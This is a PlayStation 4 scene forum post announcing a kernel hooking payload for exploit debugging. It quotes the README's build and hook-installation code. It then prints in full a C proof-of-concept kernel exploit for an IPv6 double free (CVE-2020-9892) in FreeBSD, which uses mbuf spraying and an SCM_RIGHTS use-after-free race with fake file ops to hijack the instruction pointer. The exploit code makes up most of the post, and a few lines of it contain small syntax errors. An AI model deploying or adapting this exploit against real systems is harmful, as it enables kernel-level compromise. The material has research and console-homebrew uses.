Join Us and become a Member for a Verified Badge to access private areas with the latest PS4 PKGs.
Status
Not open for further replies.
Since his MUSL PS4 Port Low-Level Details and proceeding the recent ipv6-df-3.c proof-of-concept (PoC), today PlayStation 4 Scene developer @SpecterDev shared via Twitter PS4 KHook which is a minimalist kernel hooking payload he wrote for the DayZeroSec Twitch Stream that's handy for exploit debugging! :geek:

Download: PS4-KHook-master.zip / GIT

Here's further details from the README.md, to quote: PS4 KHook

PS4 KHook is a minimalist kernel hooking payload. It targets 5.05 but it can be used with any firmware (or even non-PS4 systems) with modifications. It's primary intent is for exploit development / debugging though it can be used anywhere hooking is needed (though Mira is recommended for long-term hooks for things like homebrew). It doesn't require a daemon to run for state tracking as it uses a code cave and a dispatch table.

⚠️ Warning: the implementation is pretty hacky and it's not yet complete. Feel free to fork and pull request any improvements or TODO items.

Building and running

To build this payload you'll need the PS4 Payload *** from Scene Collective. Once installed, simply build this payload like so:
Code:
$ make clean
$ make
$ cat PS4-KHook.bin | nc [ps4ip:payloadport]
Important caveats

This hooking payload does have some caveats you need to be aware of before writing and installing hooks.
  • Hooks must only have one return path, and it must return 0x1337. Additionally, the payload must be compiled without optimization (-O0). The reason for this is due to the runtime function size calculation for the hooks.
  • Trampolines must be a minimum size of 10 bytes (0xA bytes).
  • Trampolines cannot contain any instructions that use RIP-relative addressing (including calls, jumps, or RIP-relative data reads/writes).
  • Kernel offsets and the code cave are for 5.05 firmware. To use this on other firmwares you'll need to port these offsets.
Adding your own hooks

Hooks should be defined in hooks.c with prototypes in hooks.h. These files already have two example hooks I wrote for debugging stuff with the IP6_EXTHDR_CHECK UAF from theflow. Use the following template for hook functions:
Code:
int my_hook()
{
    SAVE_REGISTERS;

// [hook code]

    RESTORE_REGISTERS;
return 0x1337;
}
For installing hooks, reference main.c. Here's an example for installing my_hook on the sys_dynlib_prepare_dlclose syscall with hook ID 1:
Code:
#define HOOK_DYNLIB_PREPARE_DLCLOSE     0x239380

// ...

char *kexecArgsBuffer = mmap(KEXEC_ARGS_BUFFER, 0x4000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);

if(kexecArgsBuffer != KEXEC_ARGS_BUFFER)
return -1;

struct install_hook_args *installHookArgs = (struct install_hook_args *)kexecArgsBuffer;

installHookArgs->id = 1;
installHookArgs->targetOffset = (uint64_t *)HOOK_DYNLIB_PREPARE_DLCLOSE;
installHookArgs->trampolineSize = 0xA;
installHookArgs->hookFunctionAddr = (uint64_t *)&my_hook;
installHookArgs->hookFunctionSize = get_function_size((uint8_t *)&my_hook);
The argument that will require some manual work to figure out and ensure you set properly is the trampoline size, since it cannot be automatically calculated, it's dependent on where you hook. This is because x86 has variable sized instructions, so if your trampoline size is incorrect, a crash will occur due to executing invalid instructions (or valid instructions that have unintended behavior).

Again, keep in mind it has to be at least 0xA size and possibly larger depending on the instructions at the hook location.

TODO
  • Rework dispatch table to allow for a smaller code cave by pivoting to a heap-allocated dispatch table
  • Fix up RIP-relative instructions to allow them inside trampolines
  • Possibly do more robust function size calculation (size directives?)
License

Specter (Cryptogenic) - SpecterDev

This project is licensed under the WTFPL license - see the LICENSE.md file for details.

Thanks
Code:
/*
 * IP6_EXTHDR_CHECK Double Free (CVE-2020-9892) Exploit PoC for FreeBSD 9.0
 * -
 * Bug credit: Andy Nguyen (@theflow0)
 * Exploit credit: @SpecterDev, @tihmstar
 * Thanks: @sleirsgoevy, @littlelailo, flatz (@flat_z), @balika011
 * -
 * Stability: 30-40% w/ 2 CPUs and 2GB RAM. Could likely be improved by tweaking timings and spray
 * packet sizes, but since these circumstances are very specific to the system state and the end-goal
 * is a PS4 port, I didn't go too crazy trying to optimize it, this is mainly a reference.
 * -
 * This file contains implementation for a FreeBSD/XNU/iOS kernel bug in the IPv6 subsystem. This
 * POC will achieve code execution in ring0 / supervisor mode and set the instruction pointer to
 * 0x41414141 to intentionally crash the kernel to demonstrate RIP control.
 *
 * A brief overview of the exploit strategy...
 * 
 * The bug allows us to get a double free in the mbuf UMA zone in the kernel. We abuse this to
 * acquire two references to the same mbuf via a tagged UDP packet spray. We then free one of the
 * references to get it acquired by an SCM_RIGHTS control message on a local AF_UNIX socket. Since
 * we still have the reference on our other tagged UDP packet, we free it to cause UAF, and interleave
 * corruption to corrupt the stack of file pointers in the control message mid-processing to get
 * crafted, userland-controlled file pointers stored in the process FD table.
 *
 * Now we have one or more file descriptors with attacker-controlled file pointers which contain a
 * malicious file ops table with the ioctl function pointer pointing to 0x41414141. We simply call
 * ioctl() on each fd we receive until we trigger code exec. If we fail, it means we lost the race
 * and retry. If we can't reclaim the overlap, it's a fatal issue and a reboot will be needed since
 * cleanup is irrepairably broken due to tainted state of the sockets, and process exit will crash the
 * kernel.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <netinet/ip6.h>

// Takes a data buffer and zeroes it, then initializes the 4 byte routing header with the size and
// next header type given.
void build_routing_header(char *buf, uint64_t sz, uint8_t next_header)
{
    // Leave routing data null
    memset(buf, 0, sz);

    // Routing header
    buf[0x0] = next_header;
    buf[0x1] = (sz / 8) - 1; // Length is in units of octets not bytes
    buf[0x2] = 0;
    buf[0x3] = 0;
}

// Builds a raw packet consisting of a hop-by-hop header, fragment header, and auxiliary data with the info
// given, then sends it to the given fd on the loopback address (::1).
uint64_t send_fragment(int fd, char *data, uint64_t off, uint64_t sz, uint8_t final, uint32_t id, uint8_t next_header)
{
    uint64_t i;
    uint8_t packetData[0x200];

    // Hop-by-hop headers
    packetData[0x0] = IPPROTO_FRAGMENT;
    packetData[0x1] = 0;
    packetData[0x2] = IP6OPT_PADN;
    packetData[0x3] = 4;

    *(uint32_t *)(packetData + 4) = 0x41414141;

    // Fragment header
    size_t mid = off + !final;

    packetData[0x8] = next_header;
    packetData[0x9] = 0;
    packetData[0xA] = mid / 256;
    packetData[0xB] = mid % 256;

    *(uint32_t *)(packetData + 0xC) = id;

    // Auxiliary data
    uint64_t dataOffset = 0x10;

    for(i = 0; i < sz; i++)
    {
        packetData[dataOffset + i] = data[i];
    }

    // Send on loopback
    struct sockaddr_in6 sin6 = {
        .sin6_family = AF_INET6,
        .sin6_addr   = {0},
        .sin6_port   = 0x1337,
    };

    sin6.sin6_addr.s6_addr[15] = 1;

    // Fire into the kernel
    return sendto(fd, packetData, dataOffset + sz, 0, (struct sockaddr *)&sin6, sizeof(sin6));
}

// Sends a packet on a socket to get an mbuf allocated.
int push_mbuf(int sock, char *in_data, uint64_t sz)
{
    return sendto(sock, in_data, sz, 0, 0, 0);
}

// Sends a packet on a socket to get an mbuf allocated.
int push_mbuf2(int sock, char *in_data, uint64_t sz)
{
    return sendto(sock, in_data, sz, MSG_DONTWAIT, 0, 0);
}

// Receives a packet on the socket to get an mbuf free'd.
int pop_mbuf(int sock, char *out_data, uint64_t sz)
{
    return recvfrom(sock, out_data, sz, MSG_DONTWAIT, 0, 0);
}

// Gets a packet's data on the socket without removing it from the queue / free'ing it.
int peek_mbuf(int sock, char *out_data, uint64_t sz)
{
    return recvfrom(sock, out_data, sz, MSG_DONTWAIT | MSG_PEEK, 0, 0);
}

// Creates an IPV4 UDP socket and binds + connects it to the loopback interface, returning
// the newly connected socket descriptor.
int create_udp_loopback_sock()
{
    // Initialize a UDP IPv4 socket
    int s = socket(AF_INET, SOCK_DGRAM, 0);

    struct sockaddr_in sin = {
        .sin_family = AF_INET,
        .sin_addr   = {0x100007f},
        .sin_port   = 0,
    };

    // Bind it to loopback interface and connect to it
    uint64_t socklen = sizeof(struct sockaddr_in);
    bind(s, (struct sockaddr *)&sin, socklen);
    getsockname(s, (struct sockaddr *)&sin, (socklen_t *)&socklen);
    connect(s, (struct sockaddr *)&sin, socklen);

    return s;
}

// Writes a stack of file descriptors to the given fd. Borrowed from sleirsgoevy's poc since we know it works.
ssize_t
write_fd(int fd, void *ptr, size_t nbytes, int* sendfd)
{
    int i;
    struct msghdr   msg;
    struct iovec    iov[1];

    union {
      struct cmsghdr    cm;
      char              control[CMSG_SPACE(253*sizeof(int))];
    } control_un;
    struct cmsghdr  *cmptr;

    msg.msg_control = control_un.control;
    msg.msg_controllen = sizeof(control_un.control);

    cmptr = CMSG_FIRSTHDR(&msg);
    cmptr->cmsg_len = CMSG_LEN(253*sizeof(int));
    cmptr->cmsg_level = SOL_SOCKET;
    cmptr->cmsg_type = SCM_RIGHTS;
    for(i = 0; i < 253; i++)
        ((int *) CMSG_DATA(cmptr))[i] = sendfd[i];

    msg.msg_name = NULL;
    msg.msg_namelen = 0;

    iov[0].iov_base = ptr;
    iov[0].iov_len = nbytes;
    msg.msg_iov = iov;
    msg.msg_iovlen = 1;

    return(sendmsg(fd, &msg, 0));
}

// Reads a stack of file descriptors from the given fd. Borrowed from sleirsgoevy's poc since we know it works.
ssize_t
read_fd(int fd, void *ptr, size_t nbytes, int *recvfd)
{
    struct msghdr   msg;
    struct iovec    iov[1];
    ssize_t         n;
    int             newfd;
    int i;

    union {
      struct cmsghdr    cm;
      char              control[CMSG_SPACE(253*sizeof(int))];
    } control_un;
    struct cmsghdr  *cmptr;

    msg.msg_control = control_un.control;
    msg.msg_controllen = CMSG_SPACE(253*sizeof(int));

    msg.msg_name = NULL;
    msg.msg_namelen = 0;

    iov[0].iov_base = ptr;
    iov[0].iov_len = nbytes;
    msg.msg_iov = iov;
    msg.msg_iovlen = 1;

    if ( (n = recvmsg(fd, &msg, 0)) < 0)
        return(n);

    if ( (cmptr = CMSG_FIRSTHDR(&msg)) != NULL &&
        cmptr->cmsg_len == CMSG_LEN(253*sizeof(int))) {
        for(i = 0; i < 253; i++)
            recvfd[i] = ((int *) CMSG_DATA(cmptr))[i];
    } else {
        for(i = 0; i < 64; i++)
            printf("%08x\n", ((int*)CMSG_DATA(cmptr))[i]);
        *recvfd = -1;
    }

    return(n);
}

#define PACKET_ONE_SZ       0x60  // Size of first packet fragment
#define PACKET_TWO_SZ       0x20  // Size of second packet fragment
#define SPRAY_SOCKET_NUM    0x100 // Number of times for most sprays
#define SPRAY_PACKET_PTRS   0xA0  // Number of file pointers to fake in overlap packet

volatile int start_thread = 0;

// Raw IPV6 socket for triggering the bug
int raw_sock;

// UDP spray sockets and TCP socketpairs for SCM_RIGHTS messages to overwrite
int udp_socks[SPRAY_SOCKET_NUM];
int tcp_sockpairs[SPRAY_SOCKET_NUM * 2];

// Scratch / trash buffer primarily for popping messages out of the queue
int popbuf[37];

// Overlap trackers so we know which sockets share an mbuf
int overlap_one = -1;
int overlap_two = -1;

// Structure to spray into UAF'd mbuf to smash file pointers
// -
// We need 4 bytes to align from 0xC to 0x10 since the file pointers are on 8-byte boundaries.
// We can use this padding for tags for the respray. We have to pack the struct because if we
// don't the compiler will insert padding after the tag which will mess with our UAF alignment.
struct overlap
{
    int pad1;
    uint64_t pointers[SPRAY_PACKET_PTRS];
} __attribute__((packed));

// Spray packet data
struct overlap *spray_packet;

// File ops struct from the kernel that we need to fake for code execution
struct fileops {
    void *fo_read;
    void *fo_write;
    void *fo_truncate;
    void *fo_ioctl;                 // <-- RIP hijack fptr
    void *fo_poll;
    void *fo_kqfilter;
    void *fo_stat;
    void *fo_close;
    void *fo_chmod;
    void *fo_chown;
    int   fo_flags;
};

// File struct from the kernel we need to fake. Fields without comments are irrelevant and
// are not faked.
struct file {
  void            *f_data;
  struct fileops  *f_ops;                // Important - fake for code execution
  void            *f_cred;
  void            *f_vnode;
  short           f_type;                // Needs fake for ioctl() usage (socket type)
  short           f_vnread_flags;
  volatile u_int  f_flag;                // Needs fake for ioctl() usage (RW flags)
  volatile u_int  f_count;               // Needs fake for refcounting check
  int             f_seqcount;
  off_t           f_nextoff;
  void            *f_cdevpriv;
  off_t           f_offset;
  void            *f_label;
};

void *corrupt_file_pointers(void *vargp)
{
    int i = 0;

    printf("THREAD 2 STARTED!!!!\n");

    while(start_thread == 0)
    {
    }

     // Free the mbuf to UAF the SCM_RIGHTS control message
    pop_mbuf(udp_socks[overlap_two], popbuf, sizeof(popbuf));

    // Smash file pointer stack with our own
    for(i = 0; i < SPRAY_SOCKET_NUM; i++)
    {
        push_mbuf2(udp_socks[i], (char *)spray_packet, sizeof(struct overlap));
    }
}

int main()
{
    int i;
    char newbuf[0x1000];
    int fds[256];
    pthread_t threadid;

    ///////////////////////////////////////////////////////////////
    // Stage 0 - Setup
    ///////////////////////////////////////////////////////////////

    // Setup our spray
    spray_packet = malloc(sizeof(struct overlap));

    // Setup our fake file object
    struct file *fakeFile = malloc(sizeof(struct file));
    struct fileops *fops  = malloc(sizeof(struct fileops));

    memset(fakeFile, 0, sizeof(struct file));
    memset(fops, 0, sizeof(struct fileops));

    fakeFile->f_ops   = fops;
    fops->fo_ioctl    = 0x41414141; // RIP = 0x41414141 for POC

    fakeFile->f_type  = 2;          // DTYPE_SOCKET
    fakeFile->f_flag  = 1 | 2;      // FREAD | FWRITE
    fakeFile->f_count = 1337;       // Reference count, just some high # so it never gets released

    printf("fakeFile = %p\n", fakeFile);

    // Pre-emptively setup spray packet
    spray_packet->pad1 = 0;

    for(i = 0; i < SPRAY_PACKET_PTRS; i++)
        spray_packet->pointers[i] = (uint64_t)(fakeFile);

    // Setup thread 2
    pthread_create(&threadid, NULL, corrupt_file_pointers, NULL);

    // Used for debugging (by checking this fixed address from kernel we can target debug logs)
    char *dbgmapping = mmap((void*)0xbeef0000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    printf("dbgmapping mapped %p\n", dbgmapping);

    // Setup file descriptors to pass
    for(i = 0; i < 256; i++)
        fds[255-i] = open("/etc/passwd", O_RDONLY);

    for(i = 253; i < 256; i++)
        close(fds[i]);

    for(i = 0; i < 32; i++)
        printf("i = %d | fd = %d\n", i, fds[i]);

    memset((char *)newbuf, 0xFF, 1024);

    // Create raw socket
    raw_sock = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS);

    // Create spray UDP sockets
    for(i = 0; i < SPRAY_SOCKET_NUM; i++)
        udp_socks[i] = create_udp_loopback_sock();

    // Create TCP socketpairs
    for(i = 0; i < SPRAY_SOCKET_NUM; i++)
        socketpair(AF_UNIX, SOCK_STREAM, 0, tcp_sockpairs + 2 * i);

    // Build up double free packet
    char doubleFreePacket[PACKET_ONE_SZ + PACKET_TWO_SZ];

    build_routing_header((char *)(doubleFreePacket + 0x00), PACKET_ONE_SZ, IPPROTO_ROUTING);
    build_routing_header((char *)(doubleFreePacket + PACKET_ONE_SZ), PACKET_TWO_SZ, IPPROTO_ROUTING);

    ///////////////////////////////////////////////////////////////
    // Stage 1 - Double free & reclaim on UDP pair
    ///////////////////////////////////////////////////////////////

    printf("[+] Double freeing mbuf and reclaiming with tagged packets\n");

    // Trigger double free
    send_fragment(raw_sock,
        doubleFreePacket,
        0,
        PACKET_ONE_SZ,
        0,
        0x60606060,
        IPPROTO_ROUTING
    );

    send_fragment(raw_sock,
        doubleFreePacket,
        PACKET_ONE_SZ,
        sizeof(doubleFreePacket) - PACKET_ONE_SZ,
        1,
        0x60606060,
        IPPROTO_ROUTING
    );

    // 1 second 
    struct timespec one_sec = {
        .tv_sec  = 1,
        .tv_nsec = 0
    };

    // 10 milliseconds
    struct timespec ten_millisecs = {
        .tv_sec  = 0,
        .tv_nsec = 10000000
    }

    // Sleep to allow time for the double free to occur
    nanosleep(&one_sec, 0);

    // Spray tagged packets on UDP sockets to get an overlap pair
    int tag_packet[49];

    for(i = 0; i < SPRAY_SOCKET_NUM; i++)
    {
        tag_packet[0] = i;
        push_mbuf(udp_socks[i], (char *)&tag_packet, sizeof(tag_packet));

        // Don't send too quickly
        nanosleep(&ten_millisecs, 0)
    }

    // Sleep to allow time for all packets to be sprayed
    nanosleep(&one_sec, 0);

    // Search for the overlap by peeking each socket and looking for corruption.
    // -
    // The first corrupted packet should contain the index of the packet that overlapped with it.
    printf("[+] Searching for overlap pair\n");

    for(i = 0; i < SPRAY_SOCKET_NUM; i++)
    {
        peek_mbuf(udp_socks[i], (char *)&tag_packet, sizeof(int));

        if(tag_packet[0] != i)
        {
            overlap_one = i;
            overlap_two = tag_packet[0];
        }
    }

    // If we failed to overlap, we failed to capture the pointers from the double free, needs re-run.
    if(overlap_one <= 0 || overlap_two <= 0)
    {
        printf("[!] Overlap failed!\n");
        return -1;
    }

    // Yay we found an overlap pair!
    printf("[+] Found overlap pair: %d -> %d\n", overlap_one, overlap_two);

    ///////////////////////////////////////////////////////////////
    // Stage 2 - Trigger overlap on TCP socketpair
    ///////////////////////////////////////////////////////////////

    char bigcluster[2048] = {0};

    int outfds[253];
    dbgmapping[0] = 'X';

    for(i = 0; i < 49; i++)
        tag_packet[i] = 0x41414141;

    // 5 seconds
    struct timespec five_secs = {
        .tv_sec = 5,
        .tv_nsec = 0
    };

    // 200 milliseconds
    struct timespec twohundred_millisecs = {
        .tv_sec  = 0,
        .tv_nsec = 200000000
    };

    nanosleep(&twohundred_millisecs, 0);

    printf("[+] free 1\n");

    // Free the mbuf to overlap udp_socks[overlap_two] with SCM_RIGHTS control message
    pop_mbuf(udp_socks[overlap_one], popbuf, sizeof(popbuf));

    // We need to know what socketpair has the overlap
    int overlap_pair = -1;

    // Spray SCM_RIGHTS messages into the overlap
    for(i = 0; i < SPRAY_SOCKET_NUM; i++)
    {
        write_fd(tcp_sockpairs[2*i], dbgmapping, 1, fds);

        // Side-channel the overlapped UDP packet to determine what index we overlapped
        peek_mbuf(udp_socks[overlap_two], (char *)&tag_packet, sizeof(int));
        printf("sockpair = %d, peek = %lx\n", (2*i), tag_packet[0]);

        // The first packet that doesn't have a first dword of zero is the socketpair we overlapped
        if(tag_packet[0] != 0 && overlap_pair == -1)
            overlap_pair = 2*i;
    }

    // We now have an SCM_RIGHTS message overlapped with a UDP socket mbuf to cause controlled UAF
    printf("[+] Socketpair %d -> %d has corruptable mbuf\n", overlap_pair, overlap_pair+1);

    // Calm before the storm...
    nanosleep(&five_secs, 0);

    ///////////////////////////////////////////////////////////////
    // Stage 3 - RACE
    ///////////////////////////////////////////////////////////////

    int rrv;

    // Kickstart thread 2 to begin UAF
    start_thread = 1;

    for(i = 0; i < 600; i++)
    {
        // do nothing, delay for race stability
    }

    // Start the read on the SCM_RIGHTS message we can smash with the other thread
    rrv = read_fd(tcp_sockpairs[overlap_pair+1], dbgmapping, 1, outfds);

    for(i = 0; i < 253; i++)
        printf("outfds i = %d | fd = %d\n", i, outfds[i]);

    // Hopefully we smashed it and have a fake file pointer created, attempt ioctl() on it to
    // trigger RIP = 0x41414141 crash!
    for(i = 0; i < 253; i++)
    {
        errno = 0;
        rrv = ioctl(outfds[i], 0x81200000);
        printf("ioctl rv = %d | err = %s\n", rrv, strerror(errno));
    }

    // If we reached here, we failed to smash it and lost the race
    printf("Reached the end, rrv = %d\n", rrv);

    // Never return, if we return and we failed, we die immediately because cleanup is borked
    for(;;);
}
PS4 KHook Kernel Hooking Payload for Exploit Debugging by SpecterDev.jpg
 

Comments

Status
Not open for further replies.
Back
Top